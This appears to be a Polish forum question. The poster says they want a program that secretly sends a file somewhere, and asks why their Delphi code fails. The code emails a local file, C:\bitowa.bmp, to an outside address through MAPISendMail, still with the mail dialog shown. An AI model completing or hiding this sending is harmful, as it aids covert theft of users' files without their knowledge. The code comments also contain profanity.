Bardzo prosze o pomoc próbuje stworzyc program który bez wiedzy użytkownike wyśle gdzieś plik. Dlaczego poniższy kod mi nie działa?
unit Unit1;
interface
uses
Windows, Messages,MApi, Classes, Controls, StdCtrls, SysUtils, Graphics, Forms, Dialogs;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
MAPIFileDesc : TMAPIFileDesc;
MAPIMessage : TMAPIMessage;
MAPIRecipDesc : TMapiRecipDesc;
hMAPIDLL : THandle;
pfnMAPISendMail : TFNMAPISendMail;
begin
//załadowanie biblioteki
hMAPIDLL := LoadLibrary('MAPI32.DLL');
if hMAPIDLL=0 then
begin
//zle się dzieje
end;
//pobranie adresu funkcji
@pfnMAPISendMail := GetProcAddress(hMAPIDLL,'MAPISendMail');
if @pfnMAPISendMail=nil then
begin
FreeLibrary(hMAPIDLL);
//zle się dzieje
ShowMessage('O Kurwa');
end;
//przygotowanie opisu adresata
FillChar(MAPIRecipDesc,SizeOf(TMAPIRecipDesc),0);
with MAPIRecipDesc do
begin
ulRecipClass := MAPI_TO;
lpszName := 'Ktos';
lpszAddress := 'bogartmail@wp.pl';
end;
//przygotowanie opisu załšcznika
FillChar(MAPIFileDesc,SizeOf(TMAPIFileDesc),0);
with MAPIFileDesc do
begin
nPosition := Cardinal(-1);
lpszPathName := 'C:\bitowa.bmp';
lpszFileName := 'bitowa.bmp';
end;
//przygotowanie rekordu wiadomo?ci
FillChar(MAPIMessage,SizeOf(TMAPIMessage),0);
with MAPIMessage do
begin
lpszSubject := 'temat listu';
lpszNoteText := 'tresc listu';
nRecipCount := 1;
lpRecips := @MAPIRecipDesc;
nFileCount := 1;
lpFiles := @MAPIFileDesc;
end;
//wysłanie
if
pfnMAPISendMail(0,Handle,MAPIMessage,MAPI_DIALOG,0)<>SUCCESS_SUCCESS
then
begin
FreeLibrary(hMAPIDLL);
//zle się dzieje
ShowMessage('Coś sie po.....');
end;
//zwolnienie zasobów
FreeLibrary(hMAPIDLL);
end;
end.